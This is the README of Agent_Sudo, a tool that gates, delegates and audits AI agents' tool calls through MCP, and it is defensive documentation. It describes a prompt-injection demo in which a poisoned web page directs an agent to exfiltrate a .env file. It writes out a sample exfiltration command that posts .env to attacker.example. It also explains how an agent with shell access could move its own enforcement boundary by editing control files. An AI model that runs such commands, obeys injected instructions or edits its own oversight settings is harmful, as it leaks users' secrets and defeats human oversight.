agent-sudo-mcp

Agent_Sudo

Give AI agents bounded authority — not unchecked access.

Agent_Sudo is an authorization, delegation, provenance, and verifiable-audit engine for AI agents. AI agents should be able to act on their own — but not without limits, and not without a record. Agent_Sudo lets you define what an agent is authorized to do, delegate narrow authority that expires on its own, decide each action by the provenance of the instruction behind it, and keep a tamper-evident audit trail you can verify after the fact.

It runs locally today through the Model Context Protocol (MCP) — the first production-ready adapter and the recommended way to install it. MCP is how you connect it, not what it is.

Isn't this just another approval layer?

No — and that's the point. Claude Code, Cursor, and Codex already ask "do you approve this action?" Agent_Sudo answers different questions:

• Authorization — what is this agent allowed to do without a human in the loop?
• Delegation — how do you grant narrow authority (this path, 2 hours, 10 uses) that revokes itself?
• Provenance — when an action traces back to untrusted content (a fetched web page, a tool result), is it caught because of where it came from — not how it's worded?
• Verifiable audit — afterward, can you prove what the agent did, and that the log wasn't edited?

Approval prompts are one enforcement step inside that boundary. They are not the product.

Who it's for

• Local AI power users — Claude Code, Codex CLI, Aider, and other MCP-based agents. Protect secrets, prevent destructive actions, enforce trust boundaries, and keep an accountable record.
• Agent runtimes & platforms — embed authorization, scoped delegation, provenance-based decisions, and verifiable audit instead of building them yourself. MCP is the mature adapter today; other runtime integrations exist but are earlier (see Ecosystem).

What makes it different

• Provenance-based enforcement — decisions turn on an instruction's origin, so tool calls driven by untrusted content are escalated or denied by where they came from. (This is origin tracking, not a prompt-injection text detector.)
• Scoped, self-expiring delegation — temporary, resource-limited authority instead of binary allow/deny per click.
• Verifiable accountability — every decision is written to a SHA-256 hash-chained log that agent-sudo verify-audit can check for tampering.
• Authorization boundaries — set what's allowed once; the agent operates autonomously inside the boundary.

Scope: Agent_Sudo governs the tool calls routed through it. It is not a sandbox, not an enterprise platform, and not a universal standard. See Trust Boundaries for exactly what it does and does not protect.

See the Difference in ~60 Seconds

The clearest illustration of what Agent_Sudo adds over an approval prompt is provenance-based enforcement. An agent reads a poisoned web page that tells it to exfiltrate your .env. Agent_Sudo denies the action because its origin is untrusted external content — not because it parsed the malicious wording — while allowing the user's own work, and writes a tamper-evident audit entry. The decision turns on where the instruction came from, independent of how the injection is phrased.

The demo lives in the repository (it is not part of the PyPI package), so clone first:

git clone https://github.com/Kisyntra/Agent_Sudo
cd Agent_Sudo/examples/exfil_demo && python demo.py

Walkthrough and expected output: examples/exfil_demo/.

Evaluate Agent_Sudo in 5 Minutes

One install, one command — runs the whole boundary (blocked → delegated → allowed once → denied → audit verified) in a throwaway temp directory:

pipx install agent-sudo-mcp && agent-sudo eval

# Option A — pipx (recommended): isolates the tool and puts `agent-sudo` on your PATH everywhere
pipx install agent-sudo-mcp

# Option B — pip + virtualenv: installs into a project-local environment you activate
python3 -m venv venv && source venv/bin/activate
pip install agent-sudo-mcp

You should see:

Agent_Sudo Evaluation

[1/5] Blocked unsafe request ........ PASS
[2/5] Created delegation ............ PASS
[3/5] Delegated request allowed ..... PASS
[4/5] Token exhausted, denied again . PASS
[5/5] Audit chain verified .......... PASS

Result: PASS
Audit log: /tmp/agent-sudo-eval-.../audit.jsonl
Next: agent-sudo audit list /tmp/agent-sudo-eval-.../audit.jsonl

agent-sudo eval runs entirely in a temporary directory (no changes to your ~/.agent-sudo state), prints where the audit log lives, and exits non-zero if any step fails. For the step-by-step walkthrough, see Evaluate Agent_Sudo in 5 Minutes.

What You Will Validate

• A critical shell request through the Agent_Sudo engine does not execute by default.
• A one-use delegation allows exactly one matching request.
• The same request is denied after the delegation is consumed.
• The decisions are written to a hash-chained audit log that verifies cleanly (agent-sudo verify-audit).

MCP Adapter Setup

MCP is how Agent_Sudo connects to your agent — the wiring, not another install. You already installed the package in the step above; here agent-sudo setup plugs the agent-sudo-mcp server into your AI client, which then launches it for you automatically.

Confirm the install and locate the server binary your client will run:

agent-sudo --version
which agent-sudo-mcp

Beginner path — just run agent-sudo setup and pick your client from the menu; it prints the correct pasteable config:

agent-sudo setup
#   1. Claude Code
#   2. Codex CLI
#   3. Claude Desktop
#   4. Hermes
#   5. OpenClaw

Advanced / scripted path — name the target directly (no prompt, CI-friendly):

agent-sudo setup <client> resolves the absolute agent-sudo-mcp path for you. (With no client and no terminal — e.g. in CI — agent-sudo setup lists the targets and exits non-zero rather than prompting.) Interactive approvals additionally need agent-sudo init-approval (see First Run); the delegation-based evaluation does not.

For Claude Desktop, add Agent_Sudo at ~/Library/Application Support/Claude/claude_desktop_config.json, using the absolute path returned by which agent-sudo-mcp. Run agent-sudo setup claude-desktop to generate this block with paths resolved:

{
  "mcpServers": {
    "agent-sudo": {
      "command": "/ABS/PATH/TO/agent-sudo-mcp",
      "args": [
        "--audit-log", "/ABS/HOME/.agent-sudo/mcp-audit.jsonl",
        "--delegations-file", "/ABS/HOME/.agent-sudo/delegations.json",
        "--pending-approvals-file", "/ABS/HOME/.agent-sudo/pending_approvals.json",
        "--workspace", "/ABS/PATH/TO/your/project",
        "--notify", "--open-approval-terminal"
      ]
    }
  }
}

Use absolute paths: the client launches the server from a directory you do not control. --delegations-file is required — without it the server runs with no delegation store and agent-sudo delegate create tokens are silently ignored. --notify / --open-approval-terminal are macOS-only (no-ops elsewhere). Each flag and value is a separate string in args.

Restart Claude Desktop, ask it to use an Agent_Sudo tool, then verify the action was routed through the engine — pass the same audit-log path you configured:

agent-sudo audit list "$HOME/.agent-sudo/mcp-audit.jsonl"

If the action is not listed, it bypassed Agent_Sudo. A bare agent-sudo audit list reads a relative default and will look empty — pass the absolute path. For the full setup and trust-boundary details, see the Claude Desktop Setup Guide.

Platform support

Agent_Sudo's core — authorization, delegation, provenance, and the tamper-evident audit log — works the same on macOS, Linux, and Windows.

Two optional approval-UX flags are macOS-only today:

• --notify — desktop notification when an approval is pending (macOS osascript). There is no custom notification icon: the macOS notification shows the invoking process's icon, not an Agent_Sudo logo.
• --open-approval-terminal — auto-opens Terminal.app running the approval helper (macOS only).

On Linux and Windows these flags are silent no-ops, so agent-sudo setup omits them off macOS. Approve pending actions manually from any terminal:

agent-sudo pending                 # list pending approval requests
agent-sudo approve <approval_id>   # approve one (critical actions require your passphrase)

This manual workflow is the expected path on Linux/Windows and works on macOS too.

Trust Boundaries: What Is and Is Not Protected

Agent_Sudo only sees the tool calls that are routed through it. This is the single most important thing to understand before relying on it.

How to make sure you're actually protected:

1. Route the agent's risky capabilities through the agent-sudo adapter (see the Claude Desktop Setup Guide).
2. Disable or remove other tools that grant the agent direct file/shell/network access and bypass the engine.
3. Verify with the audit log. Ask the agent to perform an action, then run agent-sudo audit list. If the action is recorded, it went through Agent_Sudo. If it is not in the log, it bypassed Agent_Sudo and was not protected — that capability still needs to be disabled or routed through the engine.

This is a deliberate scope choice, not a defect: Agent_Sudo governs intent and authorization for the tools it mediates. Pair it with OS-level isolation (Docker/Firecracker) for environment containment.

What Agent_Sudo Does and Does Not Protect

What it is: a policy-and-provenance engine with human approval gates, scoped delegation, and a tamper-evident (hash-chained) audit log — for the tool calls routed through it.

Protects:

• Excessive agency — sensitive/critical actions (shell, critical file writes, external posts) require human approval before they run.
• Untrusted-origin actions — actions whose provenance is external content (e.g. a fetched web page) are escalated or denied based on where the instruction came from, not its wording.
• Tamper-evident audit — every decision is recorded to a SHA-256 hash-chained log that agent-sudo verify-audit can check for after-the-fact edits.
• Scoped delegation — temporary, resource-limited tokens grant narrow access that expires automatically.

Does not protect:

• Tools that bypass the engine — a client's native tools or other MCP servers that don't route through Agent_Sudo are neither gated nor audited.
• Prompt injection as a content-security problem — Agent_Sudo does not reliably detect injected instructions in prose. The built-in phrase detector is a best-effort tripwire that flags a few literal strings; the real protection is provenance-based escalation, not text matching.
• OS-level isolation — it is not a sandbox; pair it with Docker/Firecracker for filesystem/process containment.
• A compromised local environment — anyone (or any agent) with an ungoverned local shell can approve pending actions or edit Agent_Sudo's own control-plane files directly. An agent that can run host-native commands can change the workspace (agent-sudo workspace set), delegations, or config to move the enforcement boundary instead of routing through it. Disable or route the agent's native shell for the boundary to hold. Workspace changes are now recorded as workspace_changed events in the audit log, so a boundary change is visible to agent-sudo verify-audit even when it was made outside the engine.

See the Security & Threat Model for the full analysis.

Why Agent_Sudo If I Already Use Docker?

A common question from security engineers and developers is: "Why do I need a policy engine if I am already isolating my agents in a Docker container, gVisor sandbox, or Firecracker microVM?"

The difference is a separation of concerns:

• Docker/Firecracker/Sandboxes answer: "Where can code run?" They isolate the process from the host operating system, preventing an agent from escaping to your local machine, but they do not monitor what the agent is doing inside the sandbox.
• Agent_Sudo answers: "Is this action authorized?" It operates at the intent and application logic level, evaluating the context, provenance, and authorization rules of individual actions before execution.

Practical Examples

Even inside a perfectly isolated Docker container, an agent with raw tool access can:

1. Exfiltrate Secrets: Run curl -X POST -d @.env https://attacker.example to leak your API keys. A VM allows outbound network requests by default; Agent_Sudo detects the source trust and target, blocking the exfiltration.
2. Write/Inject Code: Edit your project's main.py to insert a backdoor or dependency. While Docker prevents host pollution, it cannot prevent the agent from corrupting your project workspace. Agent_Sudo flags critical file edits and requires human confirmation.
3. Perform Social Engineering: Send automated emails, Slack messages, or Discord alerts to external users containing phishing links under the guise of the agent owner. Agent_Sudo gates communication tools based on user approvals.
4. Exceed Delegation Scopes: An agent running an automated build pipeline might accidentally or maliciously call tools outside its intended scope. Agent_Sudo uses temporary delegation tokens to automatically lock the agent out once its quota or time-to-live expires.

These two layers are complementary: use Docker/VM sandboxes to isolate environment resources, and use Agent_Sudo to validate tool execution intent. For a detailed technical breakdown, see Agent_Sudo vs. Container/VM Sandboxes.

[!IMPORTANT] Security Boundaries Notice:

• Engine, Not a Sandbox: Agent_Sudo is a local policy engine; it is not an OS-level sandbox or container. It gates tool access but does not isolate filesystem or process resources.
• Best-Effort Shell Filtering: Shell command policy checks are best-effort unless reinforced by OS-level containment or custom runtime sandboxes.
• Client Runtime Bypass: Native tools registered directly in host runtimes (e.g., Eino, Hermes) can bypass Agent_Sudo entirely unless those tools are disabled or explicitly routed through the engine.

Core Capabilities

Ordered by what distinguishes Agent_Sudo, with approval gates as one enforcement mechanism among them.

• Provenance-Based Enforcement: Classifies each action by the trust of its origin. Actions whose instruction traces back to untrusted external content are escalated or denied based on where they came from, independent of wording. This is the protection behind the 60-second demo — not a prompt-injection text detector.
• Scoped Delegation: Issues temporary, resource-limited permission tokens (e.g., allow read access to /path/to/project for 2 hours, max 10 uses) that expire automatically — narrow authority an agent can use unsupervised, then loses.
• Authorization & Protected Reads: Automatically blocks reads targeting private files such as credentials, configuration folders, and shell startup scripts, and upgrades ordinary file writes to critical status when the target is executable code or configuration.
• Verifiable Audit Logs: Records all tool attempts and engine decisions to a local JSONL log secured with a SHA-256 hash chain to detect tampering. Review them with agent-sudo audit list, or verify integrity with agent-sudo verify-audit.
• Approval Gates: Prompts for interactive confirmation (CLI yes/no) on sensitive actions, and requires a local passphrase for critical actions (e.g., running shell commands) — the human-in-the-loop step inside the boundary.
• MCP Adapter: Implements the Model Context Protocol to plug directly into Claude Desktop and other MCP clients as a stdio server — the first production-ready way to connect the engine.

Framework Example Templates

Agent_Sudo has pre-built example templates showing in-process integration for major Python agent frameworks. These demonstrate the engine embedded directly, beyond the MCP adapter:

• ✓ OpenAI Agents SDK — pre-wrapping assistant tool functions.
• ✓ PydanticAI — canonical end-to-end dogfood: a real (deterministic, offline) agent loop driving engine decisions, real file I/O, scoped delegation, and verified audit.
• ✓ LangGraph — securing tool node execution and graph states (examples/langgraph_integration.py).
• ✓ agent-runtimes — registering the local tool hooks handler in config.

Additional Demos

Built-In Policy Demo

Run a local dry-run policy demo:

agent-sudo demo

This is useful for seeing policy decisions quickly. It is not the primary activation path because it does not show the full deny → delegate → allow once → deny exhausted loop.

The full evaluation flow and the broader integration guides are reference material after the 60-second demo and the 5-minute evaluator path succeed.

Contributor Setup

If you are developing Agent_Sudo or integrating it with a custom runtime:

# Clone the repository
git clone https://github.com/Kisyntra/Agent_Sudo.git
cd Agent_Sudo

# Install in editable mode
python3 -m pip install -e .

To run unit tests:

python3 -m unittest discover -s tests

Ecosystem

MCP is the production-ready adapter today. Other runtime integrations exist at varying maturity — we work with agent runtime maintainers and external implementers to define portable authorization and audit patterns. Maturity is stated honestly below; this is not broad runtime adoption yet.

• Production-ready adapter:
  • MCP — published as io.github.Kisyntra/agent-sudo-mcp. PyPI • Official MCP Registry • Glama listing.
• Merged integrations:
  • agent-runtimes — local plugin hook handler (agent_sudo_local), merged in PR #98.
• In progress:
  • LexFlow — design review (#124) for native JS/TS client audit logging and verification.
• Research / local PoC:
  • Hermes — experimental architecture research (#34992) targeting registry-level dispatch gating.

For the full compatibility matrix and integration details, see the Ecosystem Status Guide.

Documentation Directory

CI/CD & Release Automation

Agent_Sudo uses GitHub Actions to automate checks and distribution:

• Continuous Integration: The CI workflow runs on all pushes and pull requests targeting the main branch, running the unittest suite, scanning for personal path disclosures, executing git diff --check whitespace validation, and verifying Python package compilation.
• Automated Releases: Releases are generated automatically when a git tag matching v* is pushed.
  • Release candidate tags (e.g. v0.4.0-rc12) are published as GitHub Prereleases and are explicitly excluded from being marked as the latest release.
  • Release notes are automatically parsed and extracted from the matching version entry in CHANGELOG.md.